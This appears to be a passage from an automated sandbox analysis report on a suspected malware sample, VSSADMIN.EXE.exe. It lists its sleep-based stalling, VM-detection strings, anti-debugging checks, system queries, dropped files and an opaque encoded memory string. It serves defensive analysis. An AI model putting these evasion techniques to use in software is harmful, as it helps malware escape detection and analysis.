Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6160	Thread sleep count: 7602 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7152	Thread sleep count: 1813 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5724	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6128	Thread sleep count: 7400 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7164	Thread sleep count: 1939 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5712	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6940	Thread sleep count: 3406 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6940	Thread sleep count: 1109 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6936	Thread sleep time: -9223372036854770s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6956	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6916	Thread sleep time: -11068046444225724s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6944	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5732	Thread sleep count: 3538 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7140	Thread sleep count: 1963 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7028	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6592	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7024	Thread sleep count: 3602 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4996	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6932	Thread sleep count: 663 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6228	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7080	Thread sleep count: 1769 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7080	Thread sleep count: 1516 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5812	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5316	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6964	Thread sleep count: 2819 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6928	Thread sleep count: 394 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6644	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5340	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7602	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1813	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7400	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1939	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3406
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1109
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2837
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1332
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3538
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1963
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3602
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 663
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1769
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1516
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2819
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 394

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

API coverage: 5.8 %

Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT TotalPhysicalMemory FROM Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ozweafg0\ozweafg0.dll			Jump to dropped file
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68562\_decimal.pyd			Jump to dropped file

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

Code function: 1_2_00007FFD3FBF4246 rdtsc

1_2_00007FFD3FBF4246

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 8_2_00007FFCDFBE7143 sldt word ptr [eax]

8_2_00007FFCDFBE7143

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray
Source: VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxservice
Source: VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qemu-ga
Source: VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareservicer`
Source: VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareuser
Source: VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmusrvc
Source: VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmsrvc
Source: VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmtoolsd
Source: VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwarec
Source: rar.exe, 0000003B.00000003.227944393.000002A7EDA83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b8b}
Source: VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware@
Source: VSSADMIN.EXE.exe, 00000001.00000002.244670872.0000014C6C9B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllc!
Source: VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwaretray
Source: VSSADMIN.EXE.exe, 00000001.00000002.245019718.0000014C6D15A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 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
Source: VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwaretray@
Source: VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareservice

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C86744 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF614C86744
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C86744 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF614C86744
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C77850 FindFirstFileExW,FindClose,	0_2_00007FF614C77850
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C909E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF614C909E4
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C86744 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	1_2_00007FF614C86744
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C86744 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	1_2_00007FF614C86744
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C77850 FindFirstFileExW,FindClose,	1_2_00007FF614C77850
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C909E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_00007FF614C909E4
Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: 59_2_00007FF6EE7546EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	59_2_00007FF6EE7546EC
Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: 59_2_00007FF6EE7988E0 FindFirstFileExA,	59_2_00007FF6EE7988E0
Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: 59_2_00007FF6EE74E21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,	59_2_00007FF6EE74E21C

Anti Debugging

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FFD3FBF4246		1_2_00007FFD3FBF4246
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FFD3FBF5731		1_2_00007FFD3FBF5731

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

Code function: 1_2_00007FFD3FF45510 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

1_2_00007FFD3FF45510

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

Code function: 0_2_00007FF614C7B6CC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF614C7B6CC

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

Code function: 0_2_00007FF614C925D0 GetProcessHeap,

0_2_00007FF614C925D0

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

Code function: 1_2_00007FFD3FBF4246 rdtsc

1_2_00007FFD3FBF4246

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C7B1B0 SetUnhandledExceptionFilter,_invalid_parameter_noinfo,	0_2_00007FF614C7B1B0
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C7AE30 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF614C7AE30
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C7B6CC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF614C7B6CC
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C7B8B0 SetUnhandledExceptionFilter,	0_2_00007FF614C7B8B0
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C89B14 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF614C89B14
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C7B1B0 SetUnhandledExceptionFilter,_invalid_parameter_noinfo,	1_2_00007FF614C7B1B0
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C7AE30 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FF614C7AE30
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C7B6CC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FF614C7B6CC
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C7B8B0 SetUnhandledExceptionFilter,	1_2_00007FF614C7B8B0
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C89B14 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FF614C89B14
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FFD3FBF5A24 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FFD3FBF5A24
Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: 59_2_00007FF6EE78B0E0 SetUnhandledExceptionFilter,_invalid_parameter_noinfo,	59_2_00007FF6EE78B0E0
Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: 59_2_00007FF6EE794C10 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	59_2_00007FF6EE794C10
Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: 59_2_00007FF6EE78B6D8 SetUnhandledExceptionFilter,	59_2_00007FF6EE78B6D8
